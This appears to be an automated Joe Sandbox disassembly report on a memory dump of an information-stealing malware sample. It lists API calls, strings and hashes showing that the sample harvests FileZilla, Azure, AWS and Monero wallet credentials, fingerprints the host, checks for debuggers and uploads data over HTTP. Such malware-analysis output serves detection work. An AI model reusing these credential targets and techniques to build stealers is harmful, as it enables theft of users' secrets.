Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 18.2, APIs: 8, Strings: 2, Instructions: 684
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8

Strings

InternetSetOptionA, xrefs: 0041A5E5
HttpQueryInfoA, xrefs: 0041A5FC

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 1029625771-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00404880 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 479
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetCloseHandle.WININET(00000000), ref: 00404EAD

Strings

------, xrefs: 00404B28
", xrefs: 00404D33
------, xrefs: 004049BD
", xrefs: 00404BF2
------, xrefs: 00404C69

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$Internet$CloseCrackHandle
String ID: "$"$------$------$------
API String ID: 3842476067-2180234286
Opcode ID: 8871a7e0db803886412357a9f8af80b172f418654194f3178fcef7dc839d38c6
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 8871a7e0db803886412357a9f8af80b172f418654194f3178fcef7dc839d38c6
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 004047B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternet
String ID: <
API String ID: 676793843-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00419860 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 212
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419ACF

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 1029625771-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 004117A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 160
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 004117D1
strtok_s.MSVCRT ref: 004117E8
strtok_s.MSVCRT ref: 004119A8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$ExitProcess
String ID: block
API String ID: 762877946-2199623458
Opcode ID: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 00417500 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F

Strings

:, xrefs: 0041755C
C, xrefs: 0041754C
\, xrefs: 00417560

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00401220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$GlobalMemoryStatus
String ID: @
API String ID: 2185283323-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 004169F0 Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401160: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A

Part of subcall function 00401110: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00416A1C), ref: 00401132

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266

GetUserDefaultLCID.KERNELBASE ref: 00416A26

Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUser__aulldiv$AllocComputerDefaultGlobalInfoMemoryNumaStatusSystemVirtual
String ID:
API String ID: 3178950686-0
Opcode ID: 89bd8792c9ea463fe5cd0678b04f38b1ba409c67d9b77676339e57910a337a73
Instruction ID: 00249ead6714b3af85de48d5768f0cff66b99727dd84f15ff7ce73ce32af2852
Opcode Fuzzy Hash: 89bd8792c9ea463fe5cd0678b04f38b1ba409c67d9b77676339e57910a337a73
Instruction Fuzzy Hash: 63316175940208AADB04FBF2DC56BEE7339AF04354F10452EF102A61D2DF7C6996C6AE

Function 004178E0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 00401110 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAllocExNuma.KERNELBASE(00000000,?,?,00416A1C), ref: 00401132

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 004010A0 Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Non-executed Functions

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 00410250 Relevance: 26.6, APIs: 3, Strings: 12, Instructions: 363stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041031B
memset.MSVCRT ref: 004106DD

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

strtok_s.MSVCRT ref: 00410679

Strings

NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
NA, xrefs: 0041072E, 004106AF, 004106B2
url: , xrefs: 00410577
<User>, xrefs: 00410410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
profile: null, xrefs: 00410568
<Port>, xrefs: 004103C6
<Pass encoding="base64">, xrefs: 0041045A
password: , xrefs: 004105FB
login: , xrefs: 004105CA
browser: FileZilla, xrefs: 00410559
<Host>, xrefs: 0041037C

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$mallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2676359353-514892060
Opcode ID: 5617bd6bc83757f25327082bfbfb60fa8d0a6348b7b524702c500f70768eef60
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 5617bd6bc83757f25327082bfbfb60fa8d0a6348b7b524702c500f70768eef60
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$CreateObjectProcessSingleWaitlstrlen
String ID: .exe
API String ID: 2214552867-4119554291
Opcode ID: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 00414D70 Relevance: 21.1, APIs: 4, Strings: 10, Instructions: 119COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414D87
memset.MSVCRT ref: 00414E13
memset.MSVCRT ref: 00414E9F
memset.MSVCRT ref: 00414F2B

Strings

Azure\.IdentityService, xrefs: 00414EEB
\.aws\, xrefs: 00414E4D
msal.cache, xrefs: 00414EF0
*.*, xrefs: 00414E64
\.IdentityService\, xrefs: 00414ED9
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
*.*, xrefs: 00414DD8
Azure\.aws, xrefs: 00414E5F
\.azure\, xrefs: 00414DC1
Azure\.azure, xrefs: 00414DD3

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memset
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 2221118986-156832076
Opcode ID: 63500b277e5d8c6ba40ed9413d1edfa83572fad66260e383529a6b6b95d2c298
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: 63500b277e5d8c6ba40ed9413d1edfa83572fad66260e383529a6b6b95d2c298
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 004170D0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE
OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 004172AE, 00417179, 0041717C
sA, xrefs: 00417111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcessmemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 1606381396-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004138B0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 250COMMON

Download Yara Rule

Strings

%s\%s, xrefs: 00413A6F
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s, xrefs: 0041397A
%s%s, xrefs: 00413AAD
%s\%s\%s, xrefs: 00413A4A
%s\*, xrefs: 004138C0

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 0-817767981
Opcode ID: c3ad0e5f37a6afd264e19c98f003c489031be70fef7a74d9d5741692706db697
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: c3ad0e5f37a6afd264e19c98f003c489031be70fef7a74d9d5741692706db697
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 0041D4AA Relevance: 12.1, APIs: 8, Instructions: 147COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?), ref: 0041D545
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?), ref: 0041D57E
__freea.LIBCMT ref: 0041D616

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$__freea
String ID:
API String ID: 172395558-0
Opcode ID: 427de3b42f142a0fcf9f448a772e2f9cd84e50e96f74c89131f4a6800137c743
Instruction ID: c2788855f3ea7422210f62d3390392cb88a81c4aff9d4bc9df644cff8f580fc6
Opcode Fuzzy Hash: 427de3b42f142a0fcf9f448a772e2f9cd84e50e96f74c89131f4a6800137c743
Instruction Fuzzy Hash: 7E4190B2D0000ABFDF118F90CC819EF7B77EB88358B14442BF515A6160C73989A1EB58

Function 00405960 Relevance: 11.0, APIs: 2, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
memcpy.MSVCRT(?), ref: 00405EFE

Strings

------, xrefs: 00405A96
------, xrefs: 00405C0B
------, xrefs: 00405D4C
", xrefs: 00405E16
", xrefs: 00405CD5

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$memcpy$CrackInternet
String ID: "$"$------$------$------
API String ID: 4271525049-2180234286
Opcode ID: 4205a6c64491eede6f2c0190817c01b6d1188d899bee5cc8d5380a99dbe7c93c
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: 4205a6c64491eede6f2c0190817c01b6d1188d899bee5cc8d5380a99dbe7c93c
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 00409E10 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 167COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8

Strings

v20, xrefs: 00409E21
ERROR_RUN_EXTRACTOR, xrefs: 00409E67
@, xrefs: 00409EF1
v10, xrefs: 00409EA3

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$memcmpmemset
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1976689032-1096346117
Opcode ID: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 00401310 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327
memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memset
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2221118986-218353709
Opcode ID: a32f2aae1de9b97ae466325f1f020e6fdbbafcfcec33de046a9004802322f3a2
Instruction ID: 674d48b949cffd92695f0a4f51b6d393b2dd06dcaa63b8f6d50fb5eb71b8da29
Opcode Fuzzy Hash: a32f2aae1de9b97ae466325f1f020e6fdbbafcfcec33de046a9004802322f3a2
Instruction Fuzzy Hash: AA5164B195011897CB15FB61DD91BED733CAF54304F4041ADB60A62091EE385BDACBAA

Function 004152C0 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000,00420DFB), ref: 004062E1
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
